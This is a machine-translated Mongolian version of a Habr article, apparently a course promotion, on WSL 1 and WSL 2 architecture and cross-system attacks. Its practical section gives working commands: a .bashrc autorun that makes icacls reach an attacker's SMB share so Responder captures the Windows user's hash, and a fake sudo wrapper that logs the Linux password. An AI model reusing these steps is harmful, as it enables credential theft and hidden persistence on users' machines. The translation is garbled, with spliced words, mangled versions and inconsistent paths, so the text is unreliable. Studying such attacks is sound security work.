WSL туршилтууд. 1-р хэсэг

Сайн уу, Хабр! OTUS XNUMX-р сард шинэ сургалтын урсгалыг эхлүүлнэ "Аюулгүй байдал Linux». Хичээл эхлэхийг угтан манай багш нарын нэг Александр Колесниковын бичсэн нийтлэлийг та бүхэнтэй хуваалцаж байна.

WSL туршилтууд. 1-р хэсэг

2016 онд Майкрософт шинэ WSL технологийг мэдээллийн технологийн нийгэмлэгт нэвтрүүлсэн (Wоруулдаг Sдэд систем Linux), энэ нь урт хугацаанд энгийн болон дэвшилтэт үйлдлийн системийн хэрэглэгчдийн дунд нэр хүндийн төлөө тэмцэж байсан өмнө нь эвлэршгүй өрсөлдөгчдийг нэгтгэх боломжийг олгосон: Windows и LinuxЭнэ технологи нь үйлдлийн системийн хэрэгслүүдийг ашиглах боломжийг олгосон. Linux хүрээлэгдсэн Windows эхлүүлэх шаардлагагүйгээр LinuxЖишээлбэл, олон ачаалах систем ашиглах. Хабр дээр та WSL ашиглахын ашиг тусыг тайлбарласан олон тооны нийтлэлийг олж болно. Гэсэн хэдий ч харамсалтай нь, бичиж байх үед энэ эх сурвалжаас үйлдлийн системийн энэхүү симбиозын аюулгүй байдлын талаарх судалгаа олдсонгүй. Энэ нийтлэл нь үүнийг засах оролдлого юм. Нийтлэлд WSL 1 ба 2 архитектурын онцлогуудыг хэлэлцэж, эдгээр технологийг ашиглан системд хийсэн халдлагын хэд хэдэн жишээг шинжлэх болно. Нийтлэлийг хоёр хэсэгт хуваасан болно. Эхний хэсэгт халдлагын гол онолын аргуудыг танилцуулах болно. Linux и WindowsХоёр дахь өгүүлэлд туршилтын орчинг бий болгох болон халдлагыг хуулбарлах талаар авч үзэх болно.

WSL 1: архитектурын онцлог

WSL-ийн аюулгүй байдлын асуудлуудыг бүрэн ойлгохын тулд дэд системийн хэрэгжилттэй холбоотой гол нарийн ялгааг тодорхойлох шаардлагатай. WSL-ийн шийдвэрлэдэг хэрэглэгчийн гол хэрэгцээнүүдийн нэг бол терминалын хандалтыг идэвхжүүлэх явдал юм. Linux үйлдлийн системтэй хост дээрх системүүд WindowsМөн санал болгож буй нийцтэй байдал нь гүйцэтгэгдэж буй файлууд маш уугуул байсан Linux (ELF)-ийг системд шууд ажиллуулж болно WindowsЭдгээр зорилгод хүрэхийн тулд Windows 10 програмуудыг ажиллуулах боломжийг олгодог тусгай дэд систем бий болсон Linux тодорхой системийн дуудлагын багцыг ашиглан - ингэснээр syscall-ийн багцыг зураглах оролдлого хийгдсэн Linux тухай WindowsФизик талаас нь үүнийг шинэ драйвер болон шинэ процессын формат нэмэх замаар хэрэгжүүлсэн. Харааны хувьд архитектур нь дараах байдалтай харагдаж байв:

WSL туршилтууд. 1-р хэсэг

Үндсэндээ үйлдлийн системтэй харилцах харилцаа Linux хэд хэдэн цөмийн модулиуд болон тусгай төрлийн процесс болох pico ашиглан зохион байгуулагдсан. Дээрх диаграммд тухайн тохиолдолд ажиллаж байгаа процессыг харуулж байна Linux хост дээр байх ёстой бөгөөд ердийн програмуудтай адил нөөцийг ашиглах ёстой WindowsГэхдээ үүнийг хэрхэн биелүүлэх вэ? Төсөлд Зурах гүүр үйл явцын концепцуудыг боловсруулсан Windows, энэ нь өөр үйлдлийн системээс програм ажиллуулахад шаардлагатай бүх үйлдлийн системийн бүрэлдэхүүн хэсгүүдийг (хувилбараас нь хамааран) хангаж өгсөн.

Санал болгож буй хийсвэрлэл нь үйлдлийн системд (ялангуяа, Windows), өөр нэг үйлдлийн систем ажиллуулахыг хүлээж байгаа бөгөөд ерөнхий хандлагыг санал болгосон.

Тиймээс пико процесс доторх аливаа програм цөмөөс хамааралгүйгээр ажиллаж болно. Windows:

  1. Системийн дуудлагын нийцтэй байдал, орчуулгын асуудлыг тусгай үйлчилгээ үзүүлэгчид шийдэх ёстой;
  2. Хандалтын хяналтыг Аюулгүй байдлын монитороор дамжуулан хэрэгжүүлэх ёстой. Монитор нь цөмд байрладаг тул Windows Ийм процессуудад үйлчилгээ үзүүлэгч болж чадах шинэ драйвер хэлбэрээр шинэчлэлт хийх шаардлагатай байсан. Пико процессын туршилтын загварыг доор схемийн дагуу харуулав:

WSL туршилтууд. 1-р хэсэг

Учир нь файлын систем Linux файл болон сангийн нэрийг том, жижиг үсэг мэдрэмтгий ашигладаг, Windows WSL-тэй ашиглахын тулд хоёр төрлийн файлын систем нэмэгдсэн: VolFS болон DriveFS. VolFS нь файлын системийн хэрэгжилт юм. Linux, DriveFS нь дүрмийн дагуу ажилладаг файлын систем юм Windows, гэхдээ нэрсийн том жижиг үсгийн мэдрэмжийг сонгох сонголттой.

WSL 2

WSL 1 нь хамгийн өргөн хүрээний ажлуудыг шийдвэрлэхэд ашиглахад саад болсон хэд хэдэн хязгаарлалттай байсан: жишээлбэл, 32 битийн хувилбарыг ажиллуулах чадваргүй байсан. Linux Аппликейшнүүд төхөөрөмжийн драйверуудыг ашиглаж чадахгүй байсан. Тиймээс 2020 онд WSL 2 хувилбар гарсан бөгөөд энэ нь дэд системийг бүтээх хандлагыг өөрчилсөн юм. WSL 2 нь WSL 1-ийн нөөцийн хэрэглээний шинж чанаруудтай нийцсэн оновчлогдсон виртуал машин юм. Одоо хэрэглэгчийн шийдэж буй асуудлаас хамааран үйлдлийн систем Windows, та дэд системийн шаардлагатай хувилбарыг сонгож болно LinuxБолзошгүй эмзэг байдлыг бууруулахын тулд WSL 2-г Hyper-V дээр үндэслэн хэрэгжүүлсэн Windows 10Энэ хэлбэрээр Windows үйлдлийн системийн цөмийг тусгаарлан ажиллуулах чадвартай LinuxWSL-ийн 1-р хувилбарыг хөгжлийн чиглэлийг харуулах зорилготой бета хувилбар болгон нэвтрүүлсэн гэдгийг санах нь зүйтэй. Windows энэ чиглэлээр Hyper-V руу шилжих нь зайлшгүй байсан. Эцсийн архитектур нь иймэрхүү харагдаж байна:

WSL туршилтууд. 1-р хэсэг

Энэ хувилбарт системийн цөмүүд Windows и Linux Файл системүүд тус бүр өөрийн гэсэн нөөцтэй бөгөөд зөвхөн файлын систем дотор давхцдаг боловч энэ давхцал бүрэн гүйцэд биш юм. Файлын системүүдийн хоорондох харилцан үйлчлэлийг 9P протокол дээр ажилладаг клиент-серверийн ороомогоор дамжуулан гүйцэтгэдэг.

Өнөөдөр Microsoft нь WSL 1 болон WSL 2-ын хооронд шилжих боломжийг олгодог. Хоёр хувилбарыг ашиглах боломжтой.

WSL аюулгүй байдал

Одоогийн байдлаар дэд системүүдийн хоорондын харилцаа холбоог довтлоход хууль ёсны үйлдлийн системийн хэрэгслийг ашиглах зарим арга барилыг тодорхойлсон хэд хэдэн ажил бий. Бид бичих явцад халдлагын хамаарлыг шалгахын тулд тэдний скриптийг ашиглах болно. Халдлага ба хувилбаруудын ерөнхий жагсаалт:

1. Файлын системийн хэрэгжилт: хандалтын эрх, хуваалцсан лавлах/мэдээлэл солилцох механизмын хүртээмж.

-аас нэвтрэх дүрэм зөрчсөнийг тогтоох судалгаа хийсэн Linux FS->Windows FS, Windows FS->Linux FS. Судалгаагаар зорилтот үйлдлийн систем дотор өгөгдсөн файлыг өөрчлөх чадварыг харуулсан. Мөн файлын системийн зарим хэсгийг орлуулах, хуулбарлах, устгах оролдлого хийсэн.

Хувилбар:

  • A. Үйлдлийн системээс гарах халдлага Windows — үйлдлийн системийн /etc сангаас файлуудыг өөрчлөх Linux.
  • B. Үйлдлийн системээс халдлага Linux — лавлах дахь файлуудыг өөрчлөх: C:Windows, C:Program Files, C:Users<User>

2. Сүлжээний стекийг хэрэгжүүлэх.

Судалгааг үйлдлийн системээс гарсан халдлагын жишээг ашиглан хийсэн. Linux тухай WindowsСүлжээний стекийн үйл ажиллагааны онцлогуудыг, ялангуяа янз бүрийн нөөцийн баталгаажуулалтын механизмыг ашигласан.

Хувилбар:

  • Системд ачаалал ихтэй порт руу нэвтрэх эрхийг нээж байна Windows
  • Зохих эрхгүйгээр порт нээх
  • Үйлдлийн системд elf файлыг ашиглан урвуу бүрхүүл ажиллуулах Windows.

3. WSL дэд системийг ашиглан хортой програм хангамжийн процессуудыг эхлүүлэхийг нуух.

Судалгаа нь энгийн баримт дээр тулгуурласан - WSL 1-ийн хувьд аюулгүй байдлын дэд системүүд үйлдлийн системийн хууль ёсны үйлчилгээ үзүүлэгчийг ашиглан ажилладаг өөр цөм дэх үйл явдлыг таслан зогсоох боломжгүй. WSL 2-ын хувьд тохиолдсон үйл явдлыг харах арга байхгүй. хөнгөн виртуал машин доторх тусдаа цөмд.

Хувилбар:

1) Системд алсаас хандах програмыг ажиллуулж, бүртгэгдсэн үйл явдлуудыг үзнэ үү.

WSL 1 туршилтууд: Хэш хулгайлах (OS) Windows)

Бид эцэст нь практик хэсэгт хүрлээ. Эхлээд бид туршилтын орчныг бүрдүүлэх хэрэгтэй. Бүх туршилтыг туршилтын вандан сандал дээр хийнэ Windows 10 2004. WSL-д зориулж сонгосон үйлдлийн системийн дүрс нь Ubuntu Дөрөвдүгээр сарын 18.04. Зургийг санамсаргүй байдлаар сонгосон бөгөөд бусад зургууд ч мөн адил ажиллах болно. Тавиурыг тохируулах командууд:

Та эхлээд эхлүүлэх хэрэгтэй powershell.exe админаар.

WSL 1-ийн хувьд та дараах тушаалуудыг ажиллуулах хэрэгтэй.

  1. Идэвхжүүлэх-WindowsНэмэлт Онцлог -Онлайн -Онцлогийн Нэр Microsoft-Windows-Дэд систем-Linux #WSL функцийг идэвхжүүлэх
  2. Invoke-WebRequest -Uri буюу ms/wsl-ubuntu-1804

-Гарах Файл ~/Ubuntu.appx -UseBasicParsing #Зураг ачаалах Linux Microsoft Store-оос

  • Ubuntu.appx суулгах —root #Зургийг суулгах
  • Та тохиргооны процессыг дарж, root-ээс бага эрхтэй шинэ хэрэглэгч үүсгэх хэрэгтэй болж магадгүй юм. Бидний туршилтын хувьд энэ нь энгийн хэрэглэгч Sam байх болно.
  • Дахин эхлүүлэх-Компьютер #дахин ачаалах
  • Тохиргоог дахин ачаалсны дараа та bash командыг ажиллуулж болно. Хэрэв бүх зүйл зөв ажилласан бол консол дээр үүнтэй төстэй үр дүнг харах болно. Windows:

    WSL туршилтууд. 1-р хэсэг

    Бид Кали тархалтыг довтлогчийн машин болгон ашиглах болно. Linux, бүх машинууд нэг ижил локал сүлжээнд байх ёстой.

    Бид машин дээр WSL руу давуу эрхгүй хандалттай гэж үзье. WindowsҮйлдлийн систем рүү халдахыг оролдъё. Linux, командыг дуудаж байна LinuxДовтолгоог хэрэгжүүлэхийн тулд бид энгийн autorun техникийг ашиглах болно - бид скриптээ орчинд нэмнэ. LinuxҮүнийг хийхийн тулд та файлыг өөрчлөх хэрэгтэй .bashrc.

    WSL-тэй машин дээр бид дараахь зүйлийг гүйцэтгэдэг.

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Кали машинаар Linux бид гүйцэтгэдэг:

    1. Responder -I eth0 -rdvw

    Машинаар Windows bash ажиллуулцгаая.

    Бид Кали машин дээрх үр дүнг хүлээж байна. Linux:

    WSL туршилтууд. 1-р хэсэг

    Тиймээс бид хэрэглэгчийн хэшийг авсан Windows систем дээр командыг ажиллуулснаар WSL дэд системээр дамжуулан Linux.

    WSL 1 Туршилтууд: Хэрэглэгчийн нууц үг (OS) авах Linux)

    Дахиад нэг туршилт хийцгээе. Энэ шалгалтын үеэр бид файлд нэмэх болно .bashrc үйлдлийн системийн хэрэглэгчийн нууц үгийг авах хэд хэдэн команд Linux.

    bash-г ажиллуулаад тушаалуудыг оруулна уу:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Халдлага амжилттай болохын тулд хэрэглэгч Сам терминал дээр sudo командыг дуудах ёстой. LinuxҮүний дараа үйлдлийн системийн хэрэглэгчийн нууц үг Linux файл дотор байх болно pass.txt:

    WSL туршилтууд. 1-р хэсэг

    Халдлагын хэрэгжилтийг зөвхөн онолын мэдээлэл өгөх зорилгоор өгсөн.

    Өгүүллийн дараагийн хэсэгт 9P протоколын хэрэгжилтийг тайлбарлаж, энэ протоколд зориулсан сканнер үүсгэх, мөн үүнийг ашиглан халдлага хийх талаар авч үзэх болно.

    Ашигласан уран зохиолын жагсаалт

    WSL туршилтууд. 1-р хэсэг

    Цааш унших

    Эх сурвалж: www.habr.com

    DDoS хамгаалалт, VPS VDS сервер бүхий сайтуудад найдвартай хостинг худалдаж аваарай 🔥 DDoS хамгаалалттай, VPS VDS сервертэй найдвартай вэбсайт хостинг худалдаж аваарай | ProHoster